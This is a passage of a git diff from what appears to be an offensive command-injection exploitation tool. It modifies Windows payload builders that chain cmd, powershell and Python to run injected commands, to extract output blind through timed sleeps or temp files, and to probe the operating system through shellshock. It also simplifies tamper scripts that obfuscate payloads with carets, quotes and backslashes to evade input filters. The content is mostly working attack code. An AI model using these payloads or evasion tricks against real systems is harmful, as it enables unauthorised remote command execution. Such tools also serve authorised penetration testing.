" + TAG + "`." + - "`for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "`for /f \"tokens=*\" %i in ('cmd /c \"" + "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + "\"') do @set /p =%i < nul`." + "`echo " + TAG + "`." + @@ -49,7 +49,7 @@ def decision(separator, TAG, randv1, randv2): ) else: payload = ("print(`echo " + TAG + - separator + "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + separator + "for /f \"tokens=*\" %i in ('cmd /c \"" + "set /a (" + str(randv1) + "%2B" + str(randv2) + ")" + "\"') do @set /p =%i < nul" + separator + "echo " + TAG + @@ -155,7 +155,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2): """ def cmd_execution(separator, TAG, cmd): if settings.TARGET_OS == "win": - cmd = ( "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + cmd = ( "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do @set /p =%i < nul" ) @@ -201,7 +201,7 @@ def cmd_execution_alter_shell(separator, TAG, cmd): payload = (separator +cmd + " " ) else: - python_payload = ("for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + python_payload = ("for /f \"tokens=*\" %i in ('cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + "')\"" + "') do @set /p =%i < nul" ) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index f8d1f4f8eb..a78fc865cb 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -153,14 +153,14 @@ def system_information(separator, payload, TAG, timesec, prefix, suffix, whitesp if target_arch: # if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL + info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The target operating system is " + str(target_os) + info_msg = "The underlying operating system is " + str(target_os) info_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index b6089a7122..53a20f9b53 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -46,7 +46,7 @@ def decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE): if settings.TARGET_OS == "win": python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"open('" + OUTPUT_TEXTFILE + "','w').write('" + TAG + "')\"" payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do @set /p =%i< nul" ) @@ -78,7 +78,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): elif settings.TARGET_OS == "win": payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + "powershell.exe -InputFormat none write-host (cmd /c \"" + cmd + "\")\"') do @set /p =%i " + ">" + OUTPUT_TEXTFILE + "< nul" @@ -107,7 +107,7 @@ def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): else: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + ">" + OUTPUT_TEXTFILE + "')\"" payload = (separator + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do @set /p =%i< nul" ) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index b8c34fb284..34e1aa2c08 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -149,14 +149,14 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if target_arch: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL + info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The target operating system is " + str(target_os) + info_msg = "The underlying operating system is " + str(target_os) info_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 0a6b6f38d0..5890c1fb4d 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -30,7 +30,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): pipe = "|" payload = (pipe + "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')" " do if %i==" +str(j) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " @@ -42,7 +42,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): ampersand = _urllib.parse.quote("&") payload = (ampersand + "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "((Get-Content " + OUTPUT_TEXTFILE + ").length-1)\"')" " do if %i==" +str(j) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " @@ -116,7 +116,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque pipe = "|" payload = (pipe + " " "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(j) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " @@ -127,7 +127,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque ampersand = _urllib.parse.quote("&") payload = (ampersand + "echo " + TAG + ">" + OUTPUT_TEXTFILE + " " + ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(j) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " @@ -199,17 +199,17 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth if separator == "||" : pipe = "|" payload = (pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do @set /p =%i" + ">" + OUTPUT_TEXTFILE + "< nul" + pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" "do if %i==" +str(j) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\" " + # Transform to ASCII pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"') " "do @set /p =%i>" + OUTPUT_TEXTFILE + "< nul) " "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" @@ -218,17 +218,17 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + cmd + "\"') do @set /p =%i" + ">" + OUTPUT_TEXTFILE + "< nul" + ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "([string](Get-Content " + OUTPUT_TEXTFILE + ").length)\"')" "do if %i==" +str(j) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\" " + # Transform to ASCII ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"" + + "for /f \"tokens=*\" %i in ('cmd /c \"" + "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"') " "do @set /p =%i>" + OUTPUT_TEXTFILE + "< nul) " "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")" @@ -312,11 +312,11 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ if separator == "||" : pipe = "|" payload = (pipe + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do @set /p =%i" + ">" + OUTPUT_TEXTFILE + "< nul " + pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(j) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " @@ -326,11 +326,11 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + cmd + "') do @set /p =%i" + ">" + OUTPUT_TEXTFILE + "< nul " + ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" +str(j) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " @@ -401,7 +401,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http if separator == "||" : pipe = "|" payload = (pipe + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" +str(num_of_chars-1)+ "]\"')" " do if %i==" +str(ascii_char)+ " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" @@ -411,7 +411,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" +str(num_of_chars-1)+ "]\"')" " do if %i==" +str(ascii_char)+ " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")" @@ -477,7 +477,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t if separator == "||" : pipe = "|" payload = (pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " @@ -487,7 +487,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else " @@ -550,7 +550,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth if separator == "||" : pipe = "|" payload = (pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " "do if %i==" + str(ord(str(ascii_char))) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " @@ -561,7 +561,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " + "for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none " "(Get-Content " + OUTPUT_TEXTFILE + ")\"') " "do if %i==" + str(ord(str(ascii_char))) + " " "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") " @@ -620,7 +620,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, if separator == "||" : pipe = "|" payload = (pipe + " " - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " @@ -630,7 +630,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + "" - "for /f \"\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"=*\" %i in ('cmd /c " + + "for /f \"tokens=*\" %i in ('cmd /c " + python_payload + "') do if %i==" + str(ascii_char) + " " "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else " diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index b9614c161d..8f84a3c02d 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -103,25 +103,25 @@ def enumeration(url, cve, check_header, filename): cmd = settings.RECOGNISE_HP target_arch, payload = cmd_exec(url, cmd, cve, check_header, filename) if target_arch: - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL + info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The target operating system is " + str(target_os) + info_msg = "The underlying operating system is " + str(target_os) info_msg += " and the hardware platform is " + str(target_arch) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: - info_msg = "The target operating system is " + target_os + info_msg = "The underlying operating system is " + target_os sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The target operating system is " + str(target_os) + ".\n" + info_msg = "The underlying operating system is " + str(target_os) + ".\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index b47ce27261..dde40e07f6 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -1157,7 +1157,7 @@ def check_target_os(server_banner): user_defined_os = settings.TARGET_OS if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the target operating system. " + debug_msg = "Identifying The underlying operating system. " sys.stdout.write(settings.print_debug_msg(debug_msg)) sys.stdout.flush() @@ -1189,7 +1189,7 @@ def check_target_os(server_banner): if settings.VERBOSITY_LEVEL != 0 : if found_os_server: print(settings.SINGLE_WHITESPACE) - debug_msg = "The target operating system appears to be " + debug_msg = "The underlying operating system appears to be " debug_msg += identified_os.title() + Style.RESET_ALL + "." print(settings.print_bold_debug_msg(debug_msg)) else: diff --git a/src/core/tamper/backslashes.py b/src/core/tamper/backslashes.py index b67812b955..fae3025bb3 100644 --- a/src/core/tamper/backslashes.py +++ b/src/core/tamper/backslashes.py @@ -14,11 +14,12 @@ """ import re import sys +from src.utils import menu from src.utils import settings """ About: Adds back slashes (\) between the characters of the generated payloads. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). """ __tamper__ = "backslashes" @@ -47,25 +48,10 @@ def add_back_slashes(payload): if settings.TARGET_OS != "win": if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_back_slashes(payload) - + return add_back_slashes(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index 944620ebab..2c7fd9813f 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -18,7 +18,7 @@ """ About: Uses backticks instead of "$()" for commands substitution on the generated payloads. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). """ __tamper__ = "backticks" diff --git a/src/core/tamper/caret.py b/src/core/tamper/caret.py index bf11c75e59..978bbb70cd 100644 --- a/src/core/tamper/caret.py +++ b/src/core/tamper/caret.py @@ -14,6 +14,7 @@ """ import re import sys +from src.utils import menu from src.utils import settings """ @@ -30,12 +31,13 @@ def tamper(payload): def add_caret_symbol(payload): settings.TAMPER_SCRIPTS[__tamper__] = True if re.compile("\w+").findall(payload): - if str(len(max(re.compile("\w+").findall(payload), key=lambda word: len(word)))) >= 5000: + long_string = "" + if len(max(re.compile("\w+").findall(payload), key=lambda word: len(word))) >= 5000: long_string = max(re.compile("\w+").findall(payload), key=lambda word: len(word)) - rep = { "^^": "^", '"^t""^o""^k""^e""^n""^s"': '"t"^"o"^"k"^"e"^"n"^"s"', + '^t^o^k^e^n^s': '"t"^"o"^"k"^"e"^"n"^"s"', re.sub(r'([b-zD-Z])', r'^\1', long_string) : long_string.replace("^","") } payload = re.sub(r'([b-zD-Z])', r'^\1', payload) @@ -46,24 +48,10 @@ def add_caret_symbol(payload): if settings.TARGET_OS == "win": if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_caret_symbol(payload) + return add_caret_symbol(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "*nix target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/dollaratsigns.py b/src/core/tamper/dollaratsigns.py index 27b40f7fff..f405f546f8 100644 --- a/src/core/tamper/dollaratsigns.py +++ b/src/core/tamper/dollaratsigns.py @@ -14,11 +14,12 @@ """ import re import sys +from src.utils import menu from src.utils import settings """ About: Adds dollar sign followed by an at-sign ($@) between the characters of the generated payloads. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). """ __tamper__ = "dollaratsigns" @@ -47,25 +48,10 @@ def add_dollar_at_signs(payload): if settings.TARGET_OS != "win": if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_dollar_at_signs(payload) - + return add_dollar_at_signs(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload - return payload - # eof \ No newline at end of file diff --git a/src/core/tamper/doublequotes.py b/src/core/tamper/doublequotes.py index 32eaa22faa..45470bb5ed 100644 --- a/src/core/tamper/doublequotes.py +++ b/src/core/tamper/doublequotes.py @@ -14,14 +14,17 @@ """ import re import sys +from src.utils import menu from src.utils import settings """ About: Adds double quotes (") between the characters of the generated payloads. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). """ __tamper__ = "doublequotes" +if settings.TRANFROM_PAYLOAD != None: + settings.TRANFROM_PAYLOAD = None if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True @@ -39,33 +42,18 @@ def add_double_quotes(payload): '""c""m""d': 'cmd', '""c""ha""r': 'char' } - payload = re.sub(r'([b-zD-Z])', r'""\1', payload) + if settings.TARGET_OS != "win": + payload = re.sub(r'([b-zD-Z])', r'""\1', payload) + else: + payload = payload.replace("tokens","\"t\"\"o\"\"k\"\"e\"\"n\"\"s\"") rep = dict((re.escape(k), v) for k, v in rep.items()) pattern = re.compile("|".join(rep.keys())) payload = pattern.sub(lambda m: rep[re.escape(m.group(0))], payload) return payload - if settings.TARGET_OS != "win": - if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_double_quotes(payload) - + if settings.EVAL_BASED_STATE != False: + return payload else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload + return add_double_quotes(payload) # eof \ No newline at end of file diff --git a/src/core/tamper/nested.py b/src/core/tamper/nested.py index 94ac9c628f..5d0adcb190 100644 --- a/src/core/tamper/nested.py +++ b/src/core/tamper/nested.py @@ -20,7 +20,7 @@ """ About: Adds double quotes around of the generated payloads (nested). -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). """ __tamper__ = "nested" @@ -48,25 +48,10 @@ def nested(payload): if settings.TARGET_OS != "win": if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = nested(payload) - + return nested(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload - return payload - # eof \ No newline at end of file diff --git a/src/core/tamper/singlequotes.py b/src/core/tamper/singlequotes.py index 654d3227a6..3d8bc259c6 100644 --- a/src/core/tamper/singlequotes.py +++ b/src/core/tamper/singlequotes.py @@ -14,11 +14,12 @@ """ import re import sys +from src.utils import menu from src.utils import settings """ About: Adds single quotes (') between the characters of the generated payloads. -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). """ __tamper__ = "singlequotes" @@ -47,25 +48,10 @@ def add_single_quotes(payload): if settings.TARGET_OS != "win": if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_single_quotes(payload) - + return add_single_quotes(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload + return payload # eof \ No newline at end of file diff --git a/src/core/tamper/slash2env.py b/src/core/tamper/slash2env.py index 0af29d889d..32b9e1fd8d 100644 --- a/src/core/tamper/slash2env.py +++ b/src/core/tamper/slash2env.py @@ -12,11 +12,12 @@ """ import sys +from src.utils import menu from src.utils import settings """ About: Replaces slashes (/) with environment variable value "${PATH%%u*}". -Notes: This tamper script works against *nix targets. +Notes: This tamper script works against unix-like target(s). Reference: https://www.secjuice.com/bypass-strict-input-validation-with-remove-suffix-and-prefix-pattern/ """ @@ -33,24 +34,10 @@ def add_slash2env(payload): if settings.TARGET_OS != "win": if settings.EVAL_BASED_STATE != False: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "The dynamic code evaluation technique, does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print + return payload else: - settings.TRANFROM_PAYLOAD = True - if settings.TRANFROM_PAYLOAD: - payload = add_slash2env(payload) - + return add_slash2env(payload) else: - if settings.TRANFROM_PAYLOAD == None: - settings.TRANFROM_PAYLOAD = False - warn_msg = "Windows target host(s), does not support the '"+ __tamper__ +".py' tamper script." - sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() - print - - return payload - \ No newline at end of file + return payload + +# eof \ No newline at end of file diff --git a/src/core/tamper/sleep2timeout.py b/src/core/tamper/sleep2timeout.py index 6b7ec10a0a..5f89b91c19 100644 --- a/src/core/tamper/sleep2timeout.py +++ b/src/core/tamper/sleep2timeout.py @@ -14,12 